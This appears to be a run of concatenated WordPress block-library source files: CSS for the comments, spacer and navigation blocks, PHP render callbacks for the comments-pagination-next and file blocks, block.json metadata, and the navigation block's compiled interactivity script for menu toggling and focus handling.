.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}<?php
/**
 * Server-side rendering of the `core/comments-pagination-next` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments-pagination-next` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the next comments link for the query pagination.
 */
function render_block_core_comments_pagination_next( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	$comment_vars     = build_comment_query_vars_from_block( $block );
	$max_page         = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages;
	$default_label    = __( 'Newer Comments' );
	$label            = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label;
	$pagination_arrow = get_comments_pagination_arrow( $block, 'next' );

	$filter_link_attributes = static function () {
		return get_block_wrapper_attributes();
	};
	add_filter( 'next_comments_link_attributes', $filter_link_attributes );

	if ( $pagination_arrow ) {
		$label .= $pagination_arrow;
	}

	$next_comments_link = get_next_comments_link( $label, $max_page );

	remove_filter( 'next_posts_link_attributes', $filter_link_attributes );

	if ( ! isset( $next_comments_link ) ) {
		return '';
	}
	return $next_comments_link;
}


/**
 * Registers the `core/comments-pagination-next` block on the server.
 */
function register_block_core_comments_pagination_next() {
	register_block_type_from_metadata(
		__DIR__ . '/comments-pagination-next',
		array(
			'render_callback' => 'render_block_core_comments_pagination_next',
		)
	);
}
add_action( 'init', 'register_block_core_comments_pagination_next' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/spacer",
	"title": "Spacer",
	"category": "design",
	"description": "Add white space between blocks and customize its height.",
	"textdomain": "default",
	"attributes": {
		"height": {
			"type": "string",
			"default": "100px"
		},
		"width": {
			"type": "string"
		}
	},
	"usesContext": [ "orientation" ],
	"supports": {
		"anchor": true,
		"spacing": {
			"margin": [ "top", "bottom" ],
			"__experimentalDefaultControls": {
				"margin": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-spacer-editor",
	"style": "wp-block-spacer"
}
.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}.wp-block-spacer{
  clear:both;
}.wp-block-spacer{clear:both}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}.wp-block-spacer{clear:both}.wp-block-spacer{
  clear:both;
}<?php
/**
 * Server-side rendering of the `core/file` block.
 *
 * @package WordPress
 */

/**
 * When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The block content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the block content.
 */
function render_block_core_file( $attributes, $content ) {
	// Update object's aria-label attribute if present in block HTML.
	// Match an aria-label attribute from an object tag.
	$pattern = '@<object.+(?<attribute>aria-label="(?<filename>[^"]+)?")@i';
	$content = preg_replace_callback(
		$pattern,
		static function ( $matches ) {
			$filename     = ! empty( $matches['filename'] ) ? $matches['filename'] : '';
			$has_filename = ! empty( $filename ) && 'PDF embed' !== $filename;
			$label        = $has_filename ?
				sprintf(
					/* translators: %s: filename. */
					__( 'Embed of %s.' ),
					$filename
				)
				: __( 'PDF embed' );

			return str_replace( $matches['attribute'], sprintf( 'aria-label="%s"', $label ), $matches[0] );
		},
		$content
	);

	// If it's interactive, enqueue the script module and add the directives.
	if ( ! empty( $attributes['displayPreview'] ) ) {
		$suffix = wp_scripts_get_suffix();
		if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
			$module_url = gutenberg_url( '/build/interactivity/file.min.js' );
		}

		wp_register_script_module(
			'@wordpress/block-library/file',
			isset( $module_url ) ? $module_url : includes_url( "blocks/file/view{$suffix}.js" ),
			array( '@wordpress/interactivity' ),
			defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
		);
		wp_enqueue_script_module( '@wordpress/block-library/file' );

		$processor = new WP_HTML_Tag_Processor( $content );
		$processor->next_tag();
		$processor->set_attribute( 'data-wp-interactive', 'core/file' );
		$processor->next_tag( 'object' );
		$processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' );
		$processor->set_attribute( 'hidden', true );
		return $processor->get_updated_html();
	}

	return $content;
}

/**
 * Registers the `core/file` block on server.
 */
function register_block_core_file() {
	register_block_type_from_metadata(
		__DIR__ . '/file',
		array(
			'render_callback' => 'render_block_core_file',
		)
	);
}
add_action( 'init', 'register_block_core_file' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/navigation",
	"title": "Navigation",
	"category": "theme",
	"allowedBlocks": [
		"core/navigation-link",
		"core/search",
		"core/social-links",
		"core/page-list",
		"core/spacer",
		"core/home-link",
		"core/site-title",
		"core/site-logo",
		"core/navigation-submenu",
		"core/loginout",
		"core/buttons"
	],
	"description": "A collection of blocks that allow visitors to get around your site.",
	"keywords": [ "menu", "navigation", "links" ],
	"textdomain": "default",
	"attributes": {
		"ref": {
			"type": "number"
		},
		"textColor": {
			"type": "string"
		},
		"customTextColor": {
			"type": "string"
		},
		"rgbTextColor": {
			"type": "string"
		},
		"backgroundColor": {
			"type": "string"
		},
		"customBackgroundColor": {
			"type": "string"
		},
		"rgbBackgroundColor": {
			"type": "string"
		},
		"showSubmenuIcon": {
			"type": "boolean",
			"default": true
		},
		"openSubmenusOnClick": {
			"type": "boolean",
			"default": false
		},
		"overlayMenu": {
			"type": "string",
			"default": "mobile"
		},
		"icon": {
			"type": "string",
			"default": "handle"
		},
		"hasIcon": {
			"type": "boolean",
			"default": true
		},
		"__unstableLocation": {
			"type": "string"
		},
		"overlayBackgroundColor": {
			"type": "string"
		},
		"customOverlayBackgroundColor": {
			"type": "string"
		},
		"overlayTextColor": {
			"type": "string"
		},
		"customOverlayTextColor": {
			"type": "string"
		},
		"maxNestingLevel": {
			"type": "number",
			"default": 5
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		}
	},
	"providesContext": {
		"textColor": "textColor",
		"customTextColor": "customTextColor",
		"backgroundColor": "backgroundColor",
		"customBackgroundColor": "customBackgroundColor",
		"overlayTextColor": "overlayTextColor",
		"customOverlayTextColor": "customOverlayTextColor",
		"overlayBackgroundColor": "overlayBackgroundColor",
		"customOverlayBackgroundColor": "customOverlayBackgroundColor",
		"fontSize": "fontSize",
		"customFontSize": "customFontSize",
		"showSubmenuIcon": "showSubmenuIcon",
		"openSubmenusOnClick": "openSubmenusOnClick",
		"style": "style",
		"maxNestingLevel": "maxNestingLevel"
	},
	"supports": {
		"align": [ "wide", "full" ],
		"ariaLabel": true,
		"html": false,
		"inserter": true,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalTextTransform": true,
			"__experimentalFontFamily": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextDecoration": true,
			"__experimentalSkipSerialization": [ "textDecoration" ],
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"blockGap": true,
			"units": [ "px", "em", "rem", "vh", "vw" ],
			"__experimentalDefaultControls": {
				"blockGap": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"allowVerticalAlignment": false,
			"allowSizingOnChildren": true,
			"default": {
				"type": "flex"
			}
		},
		"__experimentalStyle": {
			"elements": {
				"link": {
					"color": {
						"text": "inherit"
					}
				}
			}
		},
		"interactivity": true,
		"renaming": false
	},
	"editorStyle": "wp-block-navigation-editor",
	"style": "wp-block-navigation"
}
import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// CONCATENATED MODULE: external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/navigation/view.js
/**
 * WordPress dependencies
 */

const focusableSelectors = ['a[href]', 'input:not([disabled]):not([type="hidden"]):not([aria-hidden])', 'select:not([disabled]):not([aria-hidden])', 'textarea:not([disabled]):not([aria-hidden])', 'button:not([disabled]):not([aria-hidden])', '[contenteditable]', '[tabindex]:not([tabindex^="-"])'];

// This is a fix for Safari in iOS/iPadOS. Without it, Safari doesn't focus out
// when the user taps in the body. It can be removed once we add an overlay to
// capture the clicks, instead of relying on the focusout event.
document.addEventListener('click', () => {});
const {
  state,
  actions
} = (0,interactivity_namespaceObject.store)('core/navigation', {
  state: {
    get roleAttribute() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return ctx.type === 'overlay' && state.isMenuOpen ? 'dialog' : null;
    },
    get ariaModal() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return ctx.type === 'overlay' && state.isMenuOpen ? 'true' : null;
    },
    get ariaLabel() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return ctx.type === 'overlay' && state.isMenuOpen ? ctx.ariaLabel : null;
    },
    get isMenuOpen() {
      // The menu is opened if either `click`, `hover` or `focus` is true.
      return Object.values(state.menuOpenedBy).filter(Boolean).length > 0;
    },
    get menuOpenedBy() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return ctx.type === 'overlay' ? ctx.overlayOpenedBy : ctx.submenuOpenedBy;
    }
  },
  actions: {
    openMenuOnHover() {
      const {
        type,
        overlayOpenedBy
      } = (0,interactivity_namespaceObject.getContext)();
      if (type === 'submenu' &&
      // Only open on hover if the overlay is closed.
      Object.values(overlayOpenedBy || {}).filter(Boolean).length === 0) {
        actions.openMenu('hover');
      }
    },
    closeMenuOnHover() {
      const {
        type,
        overlayOpenedBy
      } = (0,interactivity_namespaceObject.getContext)();
      if (type === 'submenu' &&
      // Only close on hover if the overlay is closed.
      Object.values(overlayOpenedBy || {}).filter(Boolean).length === 0) {
        actions.closeMenu('hover');
      }
    },
    openMenuOnClick() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      ctx.previousFocus = ref;
      actions.openMenu('click');
    },
    closeMenuOnClick() {
      actions.closeMenu('click');
      actions.closeMenu('focus');
    },
    openMenuOnFocus() {
      actions.openMenu('focus');
    },
    toggleMenuOnClick() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      // Safari won't send focus to the clicked element, so we need to manually place it: https://bugs.webkit.org/show_bug.cgi?id=22261
      if (window.document.activeElement !== ref) ref.focus();
      const {
        menuOpenedBy
      } = state;
      if (menuOpenedBy.click || menuOpenedBy.focus) {
        actions.closeMenu('click');
        actions.closeMenu('focus');
      } else {
        ctx.previousFocus = ref;
        actions.openMenu('click');
      }
    },
    handleMenuKeydown(event) {
      const {
        type,
        firstFocusableElement,
        lastFocusableElement
      } = (0,interactivity_namespaceObject.getContext)();
      if (state.menuOpenedBy.click) {
        // If Escape close the menu.
        if (event?.key === 'Escape') {
          actions.closeMenu('click');
          actions.closeMenu('focus');
          return;
        }

        // Trap focus if it is an overlay (main menu).
        if (type === 'overlay' && event.key === 'Tab') {
          // If shift + tab it change the direction.
          if (event.shiftKey && window.document.activeElement === firstFocusableElement) {
            event.preventDefault();
            lastFocusableElement.focus();
          } else if (!event.shiftKey && window.document.activeElement === lastFocusableElement) {
            event.preventDefault();
            firstFocusableElement.focus();
          }
        }
      }
    },
    handleMenuFocusout(event) {
      const {
        modal,
        type
      } = (0,interactivity_namespaceObject.getContext)();
      // If focus is outside modal, and in the document, close menu
      // event.target === The element losing focus
      // event.relatedTarget === The element receiving focus (if any)
      // When focusout is outsite the document,
      // `window.document.activeElement` doesn't change.

      // The event.relatedTarget is null when something outside the navigation menu is clicked. This is only necessary for Safari.
      if (event.relatedTarget === null || !modal?.contains(event.relatedTarget) && event.target !== window.document.activeElement && type === 'submenu') {
        actions.closeMenu('click');
        actions.closeMenu('focus');
      }
    },
    openMenu(menuOpenedOn = 'click') {
      const {
        type
      } = (0,interactivity_namespaceObject.getContext)();
      state.menuOpenedBy[menuOpenedOn] = true;
      if (type === 'overlay') {
        // Add a `has-modal-open` class to the <html> root.
        document.documentElement.classList.add('has-modal-open');
      }
    },
    closeMenu(menuClosedOn = 'click') {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      state.menuOpenedBy[menuClosedOn] = false;
      // Check if the menu is still open or not.
      if (!state.isMenuOpen) {
        if (ctx.modal?.contains(window.document.activeElement)) {
          ctx.previousFocus?.focus();
        }
        ctx.modal = null;
        ctx.previousFocus = null;
        if (ctx.type === 'overlay') {
          document.documentElement.classList.remove('has-modal-open');
        }
      }
    }
  },
  callbacks: {
    initMenu() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (state.isMenuOpen) {
        const focusableElements = ref.querySelectorAll(focusableSelectors);
        ctx.modal = ref;
        ctx.firstFocusableElement = focusableElements[0];
        ctx.lastFocusableElement = focusableElements[focusableElements.length - 1];
      }
    },
    focusFirstElement() {
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (state.isMenuOpen) {
        const focusableElements = ref.querySelectorAll(focusableSelectors);
        focusableElements?.[0]?.focus();
      }
    }
  }
}, {
  lock: true
});

<?php return array('dependencies' => array(), 'version' => 'a145d0113e969f692877');
.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:left;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{margin-right:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{right:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
